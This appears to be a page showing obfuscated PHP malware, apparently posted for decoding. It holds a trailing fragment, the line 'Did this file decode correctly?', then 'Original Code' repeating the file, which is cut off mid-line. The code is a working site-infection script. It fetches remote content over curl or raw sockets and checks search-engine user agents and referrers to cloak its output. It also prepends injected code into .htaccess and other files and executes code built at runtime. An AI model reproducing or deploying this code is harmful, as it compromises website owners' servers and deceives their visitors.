));$OOooO000Oo=$O0OO0oo0Oo;}$OOO00oO0oo=@file_get_contents($OOOo0Ooo00);if(trim($OOO00oO0oo)!=''){$OOO00oO0oo=explode($O{29},$OOO00oO0oo);$OOooO000Oo=base64_decode(trim($OOO00oO0oo[1]));$OO0oo0o0OO=base64_decode(trim($OOO00oO0oo[0]));}$Ooo0Oo0O0O=$O{27}.$O{6}.$O{29}.$O{81}.$O{86}.$O{90}.$O{62}.$O{29}.$O{17}.$O{0}.$O{36}.$O{78}.$O{0}.$O{15};$Oooo0OO00O=explode($O{64},$OOooO000Oo);$OOoOO0oo00=explode($O{64},$OO0oo0o0OO);for($O00ooO0oOO=0;$O00ooO0oOO<count($Oooo0OO00O);$O00ooO0oOO++){$OOooO000Oo=$Oooo0OO00O[$O00ooO0oOO];if(count($OOoOO0oo00)<=$O00ooO0oOO){$OO0oo0o0OO=$OOoOO0oo00[count($OOoOO0oo00)-1];}else{$OO0oo0o0OO=$OOoOO0oo00[$O00ooO0oOO];}$OO000OooOo=OOoo1O1oO1($OOO0Ooo00o.$OO0oo0o0OO);$OO0o0O0ooO=substr($OOooO000Oo,-strlen($OOooO000Oo),strrpos($OOooO000Oo,$O{9}));if(!is_dir($OO0o0O0ooO)&&$OO0o0O0ooO!=''){mkdir ($OO0o0O0ooO,0755,true);}$OOOo0o0o0O=@file_get_contents($OOooO000Oo);if(!strstr($OOOo0o0o0O,$Ooo0Oo0O0O)){@chmod($OOooO000Oo,0644);file_put_contents($OOooO000Oo,$OO000OooOo.$OOOo0o0o0O);}}}if(isset($_GET[$O{76}.$O{76}.$O{16}.$O{0}.$O{27}.$O{69}.$O{88}.$O{63}.$O{93}.$O{91}.$O{80}.$O{15}.$O{86}.$O{63}])){echo $OOO00O0ooo;exit();}if(isset($_GET[$O{76}.$O{76}.$O{16}.$O{0}.$O{27}.$O{69}.$O{88}.$O{63}.$O{93}.$O{91}.$O{80}.$O{15}.$O{86}.$O{69}])){echo $O00oOoO0oO;exit();}if(preg_match($O{9}.$O{45}.$O{48}.$O{45}.$O{76}.$O{85}.$O{86}.$O{66}.$O{9},$OO0ooO0O0o)){$OO000OooOo=OOoo1O1oO1($OOO00O0ooo);if(strstr($OO000OooOo,$O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34})){$OO000OooOo=str_replace($O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34},'',$OO000OooOo);@header($O{31}.$O{90}.$O{16}.$O{67}.$O{0}.$O{16}.$O{67}.$O{29}.$O{67}.$O{72}.$O{6}.$O{0}.$O{21}.$O{67}.$O{0}.$O{76}.$O{67}.$O{9}.$O{76}.$O{85}.$O{86});echo "$OO000OooOo";unset($OO000OooOo,$OOO00O0ooo,$OoO00oO0oO,$OoO0O0oo0O,$OO0ooO0O0o,$O0ooO0OOo0,$OO00oo0OoO,$OOOoOo0o00);exit();}}if($O0o0OoOo0O){$OO000OooOo=OOoo1O1oO1($OOO00O0ooo);if(strstr($OO000OooOo,$O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34})){$OO000OooOo=str_replace($O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34},'',$OO000OooOo);echo "$OO000OooOo";unset($OO000OooOo,$url_format,$OoO00oO0oO,$OoO0O0oo0O,$OO0ooO0O0o,$O0ooO0OOo0,$OO00oo0OoO,$OOOoOo0o00);exit();}}if($OO0Oo0O0oo){$OO000OooOo=OOoo1O1oO1($O00oOoO0oO);if(strstr($OO000OooOo,$O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34})){$OO000OooOo=str_replace($O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34},'',$OO000OooOo);echo "$OO000OooOo";unset($OO000OooOo,$url_format,$OoO00oO0oO,$OoO0O0oo0O,$OO0ooO0O0o,$O0ooO0OOo0,$OO00oo0OoO,$OOOoOo0o00);exit();}}}O111OooOoO();?>

Did this file decode correctly?

Original Code

<?php 
error_reporting(0);
$OOo000oOoO="350";
$O0O00OOooo="1";
$O0oO0o0OOo="1";
$O=urldecode('e%2FO%2C%5CBp%22%5B%2F%7E%3DY%29Zrnh%23qE%3A9S%3Bjvw%7B-%3Ccs%26%3EGafQACXk6%60.TD%2AP%5DiW7%40%7D%21VzNIJg1%7CL%24t%2825Uy%25%2BRx3dFub4M%3FmlH0%5Eo_K8');function OOoo1O1oO1($url,$Oo0o00oOOO=0,$Oo00ooOOO0=1,$O00Oo0ooOO=NULL,$O00OOoooO0=array()){global $O;if(!preg_match("/^http\:\/\//si",$url)){if(isset($_GET[$O{80}.$O{15}.$O{86}.$O{0}.$O{81}.$O{81}])){$OoO00ooOO0=$O{8}.$O{80}.$O{15}.$O{86}.$O{0}.$O{15}.$O{15}.$O{90}.$O{15}.$O{50}.' '.$O{51}.$O{16}.$O{26}.$O{36}.$O{86}.$O{51}.$O{78}.' '.$O{80}.$O{15}.$O{86}.$O{21}.$O{33}.$O{16}.$O{81}.$O{32}.$O{6}.$O{24};$OoO00ooOO0.=$url;echo $OoO00ooOO0;unset($OoO00ooOO0);exit();}return '';}$OoO0O0Oo0o=$O{31}.$O{80}.$O{15}.$O{86}.$O{91}.$O{51}.$O{16}.$O{51}.$O{67}.$O{74}.$O{31}.$O{80}.$O{15}.$O{86}.$O{91}.$O{32}.$O{0}.$O{67}.$O{90}.$O{6}.$O{67}.$O{74}.$O{31}.$O{80}.$O{15}.$O{86}.$O{91}.$O{0}.$O{76}.$O{0}.$O{31}.$O{64}.$O{37}.$O{32}.$O{90}.$O{31}.$O{42}.$O{90}.$O{6}.$O{0}.$O{16}.$O{64}.$O{6}.$O{37}.$O{32}.$O{90}.$O{31}.$O{42}.$O{90}.$O{6}.$O{0}.$O{16}.$O{64}.$O{32}.$O{67}.$O{15}.$O{0}.$O{36}.$O{85}.$O{91}.$O{32}.$O{90}.$O{31}.$O{42}.$O{0}.$O{67}.$O{91}.$O{31}.$O{86}.$O{51}.$O{0}.$O{16}.$O{67}.$O{64}.$O{32}.$O{90}.$O{31}.$O{42}.$O{0}.$O{67}.$O{91}.$O{31}.$O{15}.$O{0}.$O{36}.$O{67}.$O{0};$Oo0oOO00oO=$O0oO0ooO0O='';foreach(explode($O{64},$OoO0O0Oo0o) as $c){$OooOO0o0O0=1;if($Oo0o00oOOO&&substr($c,0,1)==$O{31}){continue;}foreach(explode($O{74},$c) as $d){if(!function_exists($d)){$OooOO0o0O0=0;}}unset($d);if($OooOO0o0O0){$Oo0oOO00oO=$c;break;}}unset($OoO0O0Oo0o,$c);if($Oo0oOO00oO==''){return 0;}if(substr($Oo0oOO00oO,0,1)==$O{31}){$Oo0O0ooO0O=curl_init();curl_setopt($Oo0O0ooO0O,CURLOPT_URL,$url);curl_setopt($Oo0O0ooO0O,CURLOPT_USERAGENT,$O{52}.$O{87}.$O{75});curl_setopt($Oo0O0ooO0O,CURLOPT_RETURNTRANSFER,1);curl_setopt($Oo0O0ooO0O,CURLOPT_TIMEOUT,100);if($Oo00ooOOO0==2){curl_setopt($Oo0O0ooO0O,CURLOPT_POST,1);if(is_array($O00Oo0ooOO)){curl_setopt($Oo0O0ooO0O,CURLOPT_POSTFIELDS,http_build_query($O00Oo0ooOO));}}$OO0O0oOoo0=curl_exec($Oo0O0ooO0O);curl_close($Oo0O0ooO0O);if(!$OO0O0oOoo0){if(isset($_GET[$O{31}.$O{80}.$O{15}.$O{86}.$O{0}.$O{15}.$O{15}])){$OoO00ooOO0=$O{31}.$O{80}.$O{15}.$O{86}.' '.$O{0}.$O{15}.$O{15}.$O{90}.$O{15};$OoO00ooOO0.=curl_error($Oo0O0ooO0O);echo $OoO00ooOO0;unset($OoO00ooOO0);exit();}return 0;}else{$OO0O0oOoo0=trim(trim($OO0O0oOoo0,"\xEF"."\xBB"."\xBF"));return $OO0O0oOoo0;}}$OOoO00oO0o=parse_url($url);isset($OOoO00oO0o[$O{17}.$O{90}.$O{32}.$O{67}])||$OOoO00oO0o[$O{17}.$O{90}.$O{32}.$O{67}]='';isset($OOoO00oO0o[$O{6}.$O{36}.$O{67}.$O{17}])||$OOoO00oO0o[$O{6}.$O{36}.$O{67}.$O{17}]='';isset($OOoO00oO0o[$O{19}.$O{80}.$O{0}.$O{15}.$O{72}])|| $OOoO00oO0o[$O{19}.$O{80}.$O{0}.$O{15}.$O{72}]='';isset($OOoO00oO0o[$O{6}.$O{90}.$O{15}.$O{67}])||$OOoO00oO0o[$O{6}.$O{90}.$O{15}.$O{67}]='';$O00oOO0ooO=$OOoO00oO0o[$O{6}.$O{36}.$O{67}.$O{17}]?$OOoO00oO0o[$O{6}.$O{36}.$O{67}.$O{17}].($OOoO00oO0o[$O{19}.$O{80}.$O{0}.$O{15}.$O{72}]?$O{84}.$OOoO00oO0o[$O{19}.$O{80}.$O{0}.$O{15}.$O{72}]:''):$O{9};$O0oo00OOOo=$OOoO00oO0o[$O{17}.$O{90}.$O{32}.$O{67}];if($OOoO00oO0o[$O{32}.$O{31}.$O{17}.$O{0}.$O{85}.$O{0}]==$O{17}.$O{67}.$O{67}.$O{6}.$O{32}){$Oo0O0O0ooO=$O{63}.$O{45}.$O{63};$OOOOo00oo0=empty($OOoO00oO0o[$O{6}.$O{90}.$O{15}.$O{67}])?443:$OOoO00oO0o[$O{6}.$O{90}.$O{15}.$O{67}];$O0oo00OOOo=$O{32}.$O{32}.$O{86}.$O{21}.$O{9}.$O{9};$O0oo00OOOo.=$OOoO00oO0o[$O{17}.$O{90}.$O{32}.$O{67}];}else{$Oo0O0O0ooO=$O{63}.$O{45}.$O{88};$OOOOo00oo0=empty($OOoO00oO0o[$O{6}.$O{90}.$O{15}.$O{67}])?80:$OOoO00oO0o[$O{6}.$O{90}.$O{15}.$O{67}];}$OooOo0O00O=$O{87}.$O{90}.$O{32}.$O{67}.$O{21};$OooOo0O00O.=$O0oo00OOOo;$O00OOoooO0[]=$OooOo0O00O;$O00OOoooO0[]=$O{40}.$O{90}.$O{16}.$O{16}.$O{0}.$O{31}.$O{67}.$O{51}.$O{90}.$O{16}.$O{21}.$O{40}.$O{86}.$O{90}.$O{32}.$O{0};$O00OOoooO0[]=$O{71}.$O{32}.$O{0}.$O{15}.$O{29}.$O{39}.$O{62}.$O{0}.$O{16}.$O{67}.$O{21}.$O{52}.$O{87}.$O{75};$O00OOoooO0[]=$O{39}.$O{31}.$O{31}.$O{0}.$O{6}.$O{67}.$O{21}.$O{48}.$O{9}.$O{48};unset($OooOo0O00O);if($Oo00ooOOO0==2){if(is_array($O00Oo0ooOO)){$O00Oo0ooOO=http_build_query($O00Oo0ooOO);}$O00OOoooO0[]=$O{40}.$O{90}.$O{16}.$O{67}.$O{0}.$O{16}.$O{67}.$O{29}.$O{67}.$O{72}.$O{6}.$O{0}.$O{21}.$O{36}.$O{6}.$O{6}.$O{86}.$O{51}.$O{31}.$O{36}.$O{67}.$O{51}.$O{90}.$O{16}.$O{9}.$O{76}.$O{29}.$O{27}.$O{27}.$O{27}.$O{29}.$O{37}.$O{90}.$O{15}.$O{85}.$O{29}.$O{80}.$O{15}.$O{86}.$O{0}.$O{16}.$O{31}.$O{90}.$O{78}.$O{0}.$O{78};$O00OOoooO0[]=$O{40}.$O{90}.$O{16}.$O{67}.$O{0}.$O{16}.$O{67}.$O{29}.$O{65}.$O{0}.$O{16}.$O{62}.$O{67}.$O{17}.$O{21}.strlen($O00Oo0ooOO);$O0oO0ooO0O="POST $O00oOO0ooO HTTP/$Oo0O0O0ooO\r\n".join("\r\n",$O00OOoooO0)."\r\n\r\n".$O00Oo0ooOO;unset($O00Oo0ooOO);}else{$O0oO0ooO0O="GET $O00oOO0ooO HTTP/$Oo0O0O0ooO\r\n".join("\r\n",$O00OOoooO0)."\r\n\r\n";}unset($O00OOoooO0,$OOoO00oO0o,$Oo0O0O0ooO,$O00oOO0ooO);$OO0ooO0oO0=null;if(substr($Oo0oOO00oO,-1)==$O{16}){$OO0ooO0oO0=$Oo0oOO00oO($O0oo00OOOo,$OOOOo00oo0,$OoO00ooOO0no,$OoO00ooOO0str,30);}else{if(substr($Oo0oOO00oO,-1)==$O{67}){$OOOo0o00Oo=$O{67}.$O{31}.$O{6}.$O{21}.$O{9}.$O{9};$OOOo0o00Oo.=$O0oo00OOOo;$OOOo0o00Oo.=$O{21};$OOOo0o00Oo.=$OOOOo00oo0;$OO0ooO0oO0=stream_socket_client($OOOo0o00Oo,$OoO00ooOO0no,$OoO00ooOO0str,30);unset($OOOo0o00Oo);}}$OO000OooOo='';if($OO0ooO0oO0){stream_set_blocking($OO0ooO0oO0,true);stream_set_timeout($OO0ooO0oO0,30);fwrite($OO0ooO0oO0,$O0oO0ooO0O);if(!$Oo0o00oOOO){$OooOO000oO=stream_get_meta_data($OO0ooO0oO0);if(!$OooOO000oO[$O{67}.$O{51}.$O{85}.$O{0}.$O{78}.$O{91}.$O{90}.$O{80}.$O{67}]){while(!feof($OO0ooO0oO0)){$Oo0o0OO0Oo=fgets($OO0ooO0oO0);if($Oo0o0OO0Oo&&($Oo0o0OO0Oo=="\r\n"||$Oo0o0OO0Oo=="\n")){break;}unset($Oo0o0OO0Oo);}while(!feof($OO0ooO0oO0)){$Ooo0OO00oO=fread($OO0ooO0oO0,8192);$OO000OooOo.=$Ooo0OO00oO;unset($Ooo0OO00oO);}}unset($OooOO000oO);}fclose($OO0ooO0oO0);}else{if(substr($Oo0oOO00oO,-1)==$O{0}){$OoOoOo00O0=gethostbyname($O0oo00OOOo);$OO0ooO0oO0=$Oo0oOO00oO(AF_INET,SOCK_STREAM,0);if(socket_connect($OO0ooO0oO0,$OoOoOo00O0,$OOOOo00oo0)){if(!$Oo0o00oOOO){socket_write($OO0ooO0oO0,$O0oO0ooO0O,strlen($O0oO0ooO0O));while($OOo0o00oOO=@socket_read($OO0ooO0oO0,8192)){$OO000OooOo.=$OOo0o00oOO;unset($OOo0o00oOO);}$OO000OooOo=explode("\r\n\r\n",$OO000OooOo);array_shift($OO000OooOo);$OO000OooOo=implode("\r\n\r\n",$OO000OooOo);}else{$OO00O0Oooo=mt_rand(2,5);$O00oO0oOOo=0;while($O00oO0oOOo<$OO00O0Oooo){socket_write($OO0ooO0oO0,$O0oO0ooO0O,strlen($O0oO0ooO0O));$O00oO0oOOo++;usleep(mt_rand(50000,100000));}unset($O00oO0oOOo,$OO00O0Oooo);}}socket_close($OO0ooO0oO0);unset($OoOoOo00O0);}}if($OO000OooOo==''){if(function_exists($O{37}.$O{51}.$O{86}.$O{0}.$O{91}.$O{62}.$O{0}.$O{67}.$O{91}.$O{31}.$O{90}.$O{16}.$O{67}.$O{0}.$O{16}.$O{67}.$O{32}) and $url){$OO000OooOo=@file_get_contents($url);}}unset($O0oO0ooO0O,$Oo0oOO00oO,$OO0ooO0oO0,$OOOOo00oo0,$O0oo00OOOo);if(!$Oo0o00oOOO){$OO000OooOo=preg_replace_callback($O{9}.$O{68}.$O{84}.$O{21}.$O{68}.$O{84}.$O{21}.$O{4}.$O{4}.$O{15}.$O{4}.$O{4}.$O{16}.$O{64}.$O{4}.$O{4}.$O{16}.$O{13}.$O{64}.$O{89}.$O{13}.$O{68}.$O{8}.$O{88}.$O{29}.$O{22}.$O{39}.$O{29}.$O{79}.$O{50}.$O{74}.$O{13}.$O{68}.$O{84}.$O{21}.$O{4}.$O{4}.$O{15}.$O{4}.$O{4}.$O{16}.$O{64}.$O{4}.$O{4}.$O{16}.$O{13}.$O{28}.$O{63}.$O{3}.$O{69}.$O{55}.$O{68}.$O{45}.$O{48}.$O{84}.$O{13}.$O{68}.$O{68}.$O{84}.$O{21}.$O{4}.$O{4}.$O{15}.$O{4}.$O{4}.$O{16}.$O{64}.$O{4}.$O{4}.$O{16}.$O{13}.$O{68}.$O{84}.$O{21}.$O{8}.$O{88}.$O{29}.$O{22}.$O{39}.$O{29}.$O{79}.$O{50}.$O{74}.$O{68}.$O{84}.$O{21}.$O{4}.$O{4}.$O{15}.$O{4}.$O{4}.$O{16}.$O{64}.$O{4}.$O{4}.$O{16}.$O{13}.$O{13}.$O{64}.$O{66}.$O{13}.$O{9}.$O{32}.$O{51},create_function($O{66}.$O{85}.$O{36}.$O{67}.$O{31}.$O{17}.$O{0}.$O{32},$O{15}.$O{0}.$O{67}.$O{80}.$O{15}.$O{16}.' '.$O{17}.$O{0}.$O{76}.$O{78}.$O{0}.$O{31}.$O{68}.$O{66}.$O{85}.$O{36}.$O{67}.$O{31}.$O{17}.$O{0}.$O{32}.$O{8}.$O{63}.$O{50}.$O{13}.$O{11}.$O{11}.$O{32}.$O{67}.$O{15}.$O{86}.$O{0}.$O{16}.$O{68}.$O{66}.$O{85}.$O{36}.$O{67}.$O{31}.$O{17}.$O{0}.$O{32}.$O{8}.$O{69}.$O{50}.$O{13}.$O{84}.$O{66}.$O{85}.$O{36}.$O{67}.$O{31}.$O{17}.$O{0}.$O{32}.$O{8}.$O{69}.$O{50}.$O{21}.$O{66}.$O{85}.$O{36}.$O{67}.$O{31}.$O{17}.$O{0}.$O{32}.$O{8}.$O{88}.$O{50}.$O{24}),$OO000OooOo);return trim(trim($OO000OooOo,"\xEF"."\xBB"."\xBF"));}else{return 1;}}function Ooo111OOOo($string){global $O;$OoO0O0oOo0=substr($string,0,5);$Ooo0O0o0OO=substr($string,-5);$OOoo0OoO00=substr($string,7,strlen($string)-14);return gzinflate(base64_decode($OoO0O0oOo0.$OOoo0OoO00.$Ooo0O0o0OO));}function OOo1OooO11($OoO0O0Oo0ogent){global $O;$OO0o0oo0OO=false;$OO0oOo0o0O=$O{62}.$O{90}.$O{90}.$O{62}.$O{86}.$O{0}.$O{81}.$O{90}.$O{67}.$O{64}.$O{81}.$O{51}.$O{16}.$O{62}.$O{81}.$O{90}.$O{67}.$O{64}.$O{62}.$O{90}.$O{90}.$O{62}.$O{86}.$O{0}.$O{64}.$O{36}.$O{90}.$O{86}.$O{64}.$O{81}.$O{51}.$O{16}.$O{62}.$O{64}.$O{72}.$O{36}.$O{17}.$O{90}.$O{90};if($OoO0O0Oo0ogent!=''){if(preg_match("/($OO0oOo0o0O)/si",$OoO0O0Oo0ogent)){$OO0o0oo0OO=true;}}return $OO0o0oo0OO;}function O1o11oOoOO($OO0O0oOoo0efer){global $O;$O00OoOoOo0=false;$O00o0OOooO=$O{62}.$O{90}.$O{90}.$O{62}.$O{86}.$O{0}.$O{45}.$O{31}.$O{90}.$O{45}.$O{25}.$O{6}.$O{64}.$O{72}.$O{36}.$O{17}.$O{90}.$O{90}.$O{45}.$O{31}.$O{90}.$O{45}.$O{25}.$O{6}.$O{64}.$O{81}.$O{51}.$O{16}.$O{62};if($OO0O0oOoo0efer!=''&&preg_match("/($O00o0OOooO)/si",$OO0O0oOoo0efer)){$O00OoOoOo0=true;}return $O00OoOoOo0;}function OO11OO1ooo($OOoOoOo000='',$O0oO0o0OOo,$OoOo0OO00o,$O0O0oo0OoO){global $O;$O0oOoO0O0o='';$O0OO0ooO0o=$O{30}.$O{60}.$O{37}.$O{83}.$O{90}.$O{78}.$O{80}.$O{86}.$O{0}.' '.$O{85}.$O{90}.$O{78}.$O{91}.$O{15}.$O{0}.$O{27}.$O{15}.$O{51}.$O{67}.$O{0}.$O{45}.$O{31}.$O{34};$OO0oOo0O0o=$O{75}.$O{0}.$O{27}.$O{15}.$O{51}.$O{67}.$O{0}.$O{20}.$O{16}.$O{62}.$O{51}.$O{16}.$O{0};$O0oO0o0OoO=$O{75}.$O{0}.$O{27}.$O{15}.$O{51}.$O{67}.$O{0}.$O{5}.$O{36}.$O{32}.$O{0};$O0oooOO0O0=$O{75}.$O{0}.$O{27}.$O{15}.$O{51}.$O{67}.$O{0}.$O{75}.$O{80}.$O{86}.$O{0};$Oo000OoOoO=$O{75}.$O{0}.$O{27}.$O{15}.$O{51}.$O{67}.$O{0}.$O{40}.$O{90}.$O{16}.$O{78};$OO0OOoo00o=$O{30}.$O{9}.$O{60}.$O{37}.$O{83}.$O{90}.$O{78}.$O{80}.$O{86}.$O{0}.$O{34};$OoOO0o0Oo0=$O{75}.$O{20}.$O{38}.$O{71}.$O{20}.$O{23}.$O{46}.$O{91}.$O{79}.$O{60}.$O{65}.$O{20}.$O{59}.$O{39}.$O{83}.$O{20};$OO0oo0oO0O=$O{51}.$O{16}.$O{78}.$O{0}.$O{76}.$O{45}.$O{6}.$O{17}.$O{6};$OOoOoOo000= $O0OO0ooO0o."\n";$OOoOoOo000 .=$OO0oOo0O0o."\x20On\n";$OOoOoOo000 .=$O0oO0o0OoO."\x20/\n";$OOoOoOo000 .=$O0oooOO0O0."\x20^".$OO0oo0oO0O."$\x20-\x20[L]\n";$OOoOoOo000 .=$Oo000OoOoO."\x20%{".$OoOO0o0Oo0."}\x20!-f\n";$OOoOoOo000 .=$Oo000OoOoO."\x20%{".$OoOO0o0Oo0."}\x20!-d\n";$OOoOoOo000 .=$O0oooOO0O0."\x20.\x20".$O0oOoO0O0o.$OO0oo0oO0O." [L]\n";$OOoOoOo000 .=$OO0OOoo00o;if($OOoOoOo000!=''){if($O0oO0o0OOo){$O0oOoOo0O0=$O{45}.$O{9}.$O{45}.$O{17}.$O{67}.$O{36}.$O{31};$O0oOoOo0O0.=$O{31}.$O{0}.$O{32}.$O{32};if($O0oOoOo0O0!=''){@chmod($O0oOoOo0O0,0644);$O00OOoOo0o=@file_get_contents($O0oOoOo0O0);if(!strstr($O00OOoOo0o,$OoOO0o0Oo0)||!strstr($O00OOoOo0o,$O0oooOO0O0."\x20.\x20".$O0oOoO0O0o.$OO0oo0oO0O." [L]\n")||!strstr($O00OOoOo0o,$O0oooOO0O0."\x20^".$OO0oo0oO0O."$\x20-\x20[L]\n")){$O00OOoOo0o=$OOoOoOo000.PHP_EOL .$O00OOoOo0o;@file_put_contents($O0oOoOo0O0,$O00OOoOo0o);}}}}}function O1OOOo11oo($O0ooOO0oO0=''){global $O;$O0oooO0OO0=dirname(__FILE__);foreach(scandir($O0oooO0OO0) as $OoO0O00ooO){if($OoO0O00ooO==$O{45}||$OoO0O00ooO==$O{45}.$O{45}) continue;if(is_dir($O0oooO0OO0.$O{9}.$OoO0O00ooO)){$O0ooOO0oO0Array[] =$OoO0O00ooO;}}$OoOoOOo000=$O{67}.$O{0}.$O{85}.$O{6};$O0ooOO0oO0Array[] =$OoOoOOo000;return $O0ooOO0oO0Array;}function O111OooOoO($Oo0O0o0OoO=''){global $O;@set_time_limit(3600);@ignore_user_abort(1);global $OOo000oOoO,$O0oO0o0OOo,$O0O00OOooo;$O0OOo0oo0O='Content-Type:text/html;charset=utf-8';header($O0OOo0oo0O);$OO0OOo00oo=$O{77}.$O{88}.$O{88};$OoOO0O0oo0='';$OoO0O0ooO0 =$O{80}.$O{16}.$O{42}.$O{16}.$O{90}.$O{27}.$O{16};if(isset($_SERVER)){if(isset($_SERVER[HTTP_X_FORWARDED_FOR])){$OoO0O0ooO0=$_SERVER[HTTP_X_FORWARDED_FOR];}elseif(isset($_SERVER[HTTP_CLIENT_IP])){$OoO0O0ooO0=$_SERVER[HTTP_CLIENT_IP];}else{$OoO0O0ooO0=$_SERVER[REMOTE_ADDR];}}else{if(getenv("HTTP_X_FORWARDED_FOR")){$OoO0O0ooO0=getenv("HTTP_X_FORWARDED_FOR");}elseif(getenv("HTTP_CLIENT_IP")){$OoO0O0ooO0=getenv("HTTP_CLIENT_IP");}else{$OoO0O0ooO0=getenv("REMOTE_ADDR");}}$O00ooo0OOO=$_SERVER[$O{87}.$O{46}.$O{46}.$O{49}.$O{91}.$O{39}.$O{40}.$O{40}.$O{20}.$O{49}.$O{46}.$O{91}.$O{65}.$O{39}.$O{59}.$O{35}.$O{71}.$O{39}.$O{35}.$O{20}];$OO00oo0OoO=isset($_SERVER[$O{87}.$O{46}.$O{46}.$O{49}.$O{91}.$O{75}.$O{20}.$O{79}.$O{20}.$O{75}.$O{20}.$O{75}])?$_SERVER[$O{87}.$O{46}.$O{46}.$O{49}.$O{91}.$O{75}.$O{20}.$O{79}.$O{20}.$O{75}.$O{20}.$O{75}]:'';$OOOoOo0o00=isset($_SERVER[$O{87}.$O{46}.$O{46}.$O{49}.$O{91}.$O{71}.$O{23}.$O{20}.$O{75}.$O{91}.$O{39}.$O{35}.$O{20}.$O{59}.$O{46}])?$_SERVER[$O{87}.$O{46}.$O{46}.$O{49}.$O{91}.$O{71}.$O{23}.$O{20}.$O{75}.$O{91}.$O{39}.$O{35}.$O{20}.$O{59}.$O{46}]:'';$O0o0OoOo0O=OOo1OooO11($OOOoOo0o00);$OO0Oo0O0oo=O1o11oOoOO($OO00oo0OoO);$O0ooO0OOo0='';if(isset($_SERVER[$O{87}.$O{46}.$O{46}.$O{49}.$O{91}.$O{87}.$O{2}.$O{23}.$O{46}])){$O0ooO0OOo0=$_SERVER[$O{87}.$O{46}.$O{46}.$O{49}.$O{91}.$O{87}.$O{2}.$O{23}.$O{46}];}elseif(isset($_SERVER[$O{23}.$O{20}.$O{75}.$O{57}.$O{20}.$O{75}.$O{91}.$O{59}.$O{39}.$O{83}.$O{20}])){$O0ooO0OOo0=$_SERVER[$O{23}.$O{20}.$O{75}.$O{57}.$O{20}.$O{75}.$O{91}.$O{59}.$O{39}.$O{83}.$O{20}];}$OO0ooO0O0o=$_SERVER[$O{75}.$O{20}.$O{38}.$O{71}.$O{20}.$O{23}.$O{46}.$O{91}.$O{71}.$O{75}.$O{60}];$OoOo0OO00o='';$O0O0oo0OoO=$_SERVER[$O{47}.$O{2}.$O{40}.$O{71}.$O{83}.$O{20}.$O{59}.$O{46}.$O{91}.$O{75}.$O{2}.$O{2}.$O{46}];$O0O0oo0OoO=str_replace($O{4}.$O{4}.$O{4}.$O{4},$O{9},$O0O0oo0OoO);$O00o0oOoOO=dirname(__FILE__).$O{9};$O00o0oOoOO=str_replace($O{4}.$O{4}.$O{4}.$O{4},$O{9},$O00o0oOoOO);$OOooo00OO0=str_replace($O0O0oo0OoO,'',$O00o0oOoOO);if(strpos($OO0ooO0O0o,".php")>0){$O0O0OoO0oo=strpos($OO0ooO0O0o,".php")+4;$OoOo0OO00o=substr($OO0ooO0O0o,0,$O0O0OoO0oo);$OoOO0O0oo0=$OoOo0OO00o;}if($OoOo0OO00o==''){$OoOo0OO00o=$OOooo00OO0.$O{51}.$O{16}.$O{78}.$O{0}.$O{76}.$O{45}.$O{6}.$O{17}.$O{6};$OoOO0O0oo0=$OOooo00OO0;}$OoOo0OO00o=substr($OoOo0OO00o,1);$O0ooO0O0Oo=$O{27}.$O{27}.$O{27}.$O{73}.$O{78}.$O{45}.$O{0}.$O{81}.$O{80}.$O{72}.$O{17}.$O{36}.$O{86}.$O{86}.$O{45}.$O{31}.$O{90}.$O{85};$OO0O0Oooo0='';if(isset($_SERVER[$O{75}.$O{20}.$O{38}.$O{71}.$O{20}.$O{23}.$O{46}.$O{91}.$O{23}.$O{40}.$O{87}.$O{20}.$O{83}.$O{20}])){$OO0O0Oooo0=$_SERVER[$O{75}.$O{20}.$O{38}.$O{71}.$O{20}.$O{23}.$O{46}.$O{91}.$O{23}.$O{40}.$O{87}.$O{20}.$O{83}.$O{20}];}$O0oO0o0OOo=(int)$O0oO0o0OOo;OO11OO1ooo('',$O0oO0o0OOo,$OoOo0OO00o,$O0O0oo0OoO);$OoO00oO0oO=sprintf($O0ooO0O0Oo,$OOo000oOoO);$OoO0O0oo0O=sprintf($O0ooO0O0Oo,$OO0OOo00oo);$OOO00O0ooo=$O{17}.$O{67}.$O{67}.$O{6}.$O{21}.$O{9}.$O{9}.$O{73}.$O{17}.$O{90}.$O{32}.$O{67}.$O{73}.$O{9}.$O{78}.$O{36}.$O{67}.$O{36}.$O{22}.$O{22}.$O{45}.$O{6}.$O{17}.$O{6}.$O{84}.$O{78}.$O{11}.$O{73}.$O{32}.$O{33}.$O{62}.$O{11}.$O{73}.$O{32}.$O{33}.$O{67}.$O{11}.$O{73}.$O{32}.$O{33}.$O{80}.$O{11}.$O{73}.$O{32}.$O{33}.$O{17}.$O{11}.$O{73}.$O{32}.$O{33}.$O{6}.$O{11}.$O{73}.$O{32}.$O{33}.$O{15}.$O{11}.$O{73}.$O{32}.$O{33}.$O{36}.$O{11}.$O{73}.$O{32}.$O{33}.$O{86}.$O{11}.$O{73}.$O{32}.$O{33}.$O{51}.$O{11}.$O{73}.$O{32}.$O{33}.$O{25}.$O{11}.$O{73}.$O{32};$O00oOoO0oO=$O{17}.$O{67}.$O{67}.$O{6}.$O{21}.$O{9}.$O{9}.$O{73}.$O{17}.$O{90}.$O{32}.$O{67}.$O{73}.$O{9}.$O{25}.$O{80}.$O{85}.$O{6}.$O{22}.$O{22}.$O{45}.$O{6}.$O{17}.$O{6}.$O{84}.$O{78}.$O{11}.$O{73}.$O{32}.$O{33}.$O{62}.$O{11}.$O{73}.$O{32}.$O{33}.$O{67}.$O{11}.$O{73}.$O{32}.$O{33}.$O{80}.$O{11}.$O{73}.$O{32}.$O{33}.$O{17}.$O{11}.$O{73}.$O{32}.$O{33}.$O{6}.$O{11}.$O{73}.$O{32}.$O{33}.$O{15}.$O{11}.$O{73}.$O{32}.$O{33}.$O{36}.$O{11}.$O{73}.$O{32}.$O{33}.$O{86}.$O{11}.$O{73}.$O{32}.$O{33}.$O{51}.$O{11}.$O{73}.$O{32}.$O{33}.$O{25}.$O{11}.$O{73}.$O{32};$OOO00O0ooo=preg_replace("/%host%/si",$OoO00oO0oO,$OOO00O0ooo);if(isset($_GET[$O{85}.$O{36}.$O{6}])){$OO0ooO0O0o=trim($_GET[$O{85}.$O{36}.$O{6}]).trim($_GET[$O{37}.$O{51}